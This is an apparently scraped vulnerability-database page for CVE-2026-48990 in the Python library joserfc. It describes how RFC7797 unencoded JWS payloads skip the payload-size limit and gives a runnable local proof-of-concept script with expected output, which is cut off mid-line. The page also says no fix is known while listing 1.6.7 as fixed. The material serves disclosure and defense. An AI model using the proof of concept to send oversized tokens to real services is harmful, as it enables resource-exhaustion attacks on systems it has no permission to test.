🛡️ CVE-2026-48990 — joserfc

🟡 CVSS 5.3 — Medium ✅ No Known Exploit CWE-400 NVD
5.3
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

joserfc: b64=false RFC7797 JWS payloads bypass JWSRegistry payload-size limits during deserialization

# RFC7797 b64=false JWS payloads bypass JWSRegistry payload-size limits during deserialization

Summary

Testing revealed that joserfc accepts oversized RFC7797 b64=false JWS payloads without applying JWSRegistry.max_payload_length.

The normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with ExceededSizeError. The RFC7797 unencoded payload paths do not make the same check. A valid b64=false compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than JWSRegistry.max_payload_length.

This creates a moderate availability/resource-exhaustion risk for applications that accept lower-trust JWS values and rely on joserfc to reject oversized token content during verification.

Affected Product

  • Package: joserfc
  • Ecosystem: pip
  • Audited release: 1.6.5
  • Audit tag: 1.6.5
  • Audit commit: 881712980934fb601bed26fe3ae1ec0b7780e6f7
  • Tested affected releases: 1.3.4, 1.3.5, 1.4.2, 1.6.2, 1.6.3, 1.6.4, 1.6.5
  • Fixed release: none known

Vulnerability Details

In joserfc 1.6.5, the default JWS registry has max_payload_length = 128000 and exposes validate_payload_size().

The normal compact extraction path calls that check before base64url-decoding the payload. The RFC7797 compact path validates the header and signature segment sizes, then assigns the unencoded payload directly:

```text

if is_rfc7797_enabled(protected):

if not payload_segment and payload:

payload_segment = to_bytes(payload)

payload = payload_segment

```

The flattened JSON RFC7797 path has the same pattern:

```text

payload_segment = value["payload"].encode("utf-8")

if is_rfc7797_enabled(member.headers()):

payload = payload_segment

```

Neither branch calls registry.validate_payload_size(payload_segment) before accepting the unencoded payload.

Reproduction

The proof below uses only local Python APIs. It signs a payload one byte over the default limit and then compares normal JWS behavior with RFC7797 b64=false behavior.

Requirements:

```bash

python -m pip install "joserfc==1.6.5"

```

Run:

```bash

python joserfc_rfc7797_size_bypass_poc.py

```

Self-contained proof script:

```python

#!/usr/bin/env python3

import json

import joserfc

from joserfc import jws

from joserfc.jwk import OctKey

def check_compact(name, header, payload, key):

token = jws.serialize_compact(header, payload, key)

try:

obj = jws.deserialize_compact(token, key)

return {

"case": name,

"accepted": True,

"exception": None,

"payload_len_after_deserialize": len(obj.payload),

}

except Exception as exc:

return {

"case": name,

"accepted": False,

"exception": type(exc).__name__,

"error": str(exc),

}

def check_json(name, protected, payload, key):

data = jws.serialize_json({"protected": protected}, payload, key)

try:

obj = jws.deserialize_json(data, key)

return {

"case": name,

"accepted": True,

"exception": None,

"payload_len_after_deserialize": len(obj.payload),

}

except Exception as exc:

return {

"case": name,

"accepted": False,

"exception": type(exc).__name__,

"error": str(exc),

}

key = OctKey.import_key("secret-secret-secret")

limit = jws.default_registry.max_payload_length

payload = "A" * (limit + 1)

results = {

"joserfc_version": joserfc.__version__,

"default_max_payload_length": limit,

"payload_len": len(payload),

"compact": [

check_compact("normal_b64_true", {"alg": "HS256"}, payload, key),

check_compact(

"rfc7797_b64_false",

{"alg": "HS256", "b64": False, "crit": ["b64"]},

payload,

key,

),

],

"json": [

check_json("normal_b64_true_json", {"alg": "HS256"}, payload, key),

check_json(

"rfc7797_b64_false_json",

{"alg": "HS256", "b64": False, "crit": ["b64"]},

payload,

key,

),

],

}

print(json.dumps(results, indent=2, sort_keys=True))

```

Expected output on 1.6.5 includes:

```json

{

"default_max_payload_length": 128000,

"payload_len": 128001,

"compact": [

{

"case": "normal_b64_true",

"accepted": false,

"exception": "ExceededSizeError"

},

{

"case": "rfc7797_b64_false",

"accepted": true,

"exception": null,

"payload_len_after_deserialize": 128001

}

],

"json": [

{

"case": "normal_b64_true_json",

"accepted": false,

"exception": "ExceededSizeError"

},

{

"case": "rfc7797_b64_false_json",

"accepted": true,

"exception": null,

"payload_len_after_dese

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability low.

Weakness class

CVE-2026-48990 is classified as CWE-400: Uncontrolled Resource Consumption. A request can consume memory, CPU or storage without limit, exhausting capacity for everyone else.

Affected software

CVE-2026-48990 is recorded against 2 packages.

  • joserfc (from 1.3.4 up to 1.6.7)
  • unknown

Timeline and source

Published on 26 June 2026 and last revised on 13 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)
github.com (Web)

Details

Severity Medium
CVSS Score 5.3
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
CWE CWE-400
Public Exploit ✅ No
Source NVD
Published 2026-06-26
Updated 2026-08-12
Modified 2026-07-13
Fix URL N/A

Affected Packages

Software From version Fixed in
joserfc 1.3.4 1.6.7
unknown

Vulnerability Monitoring

Track new vulnerabilities in joserfc

CVE-2026-48990 is rated CVSS 5.3 Medium. BotEraser monitors your WordPress installation and notifies you when software you use appears in our vulnerability database.

Set Up Free Alerts →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.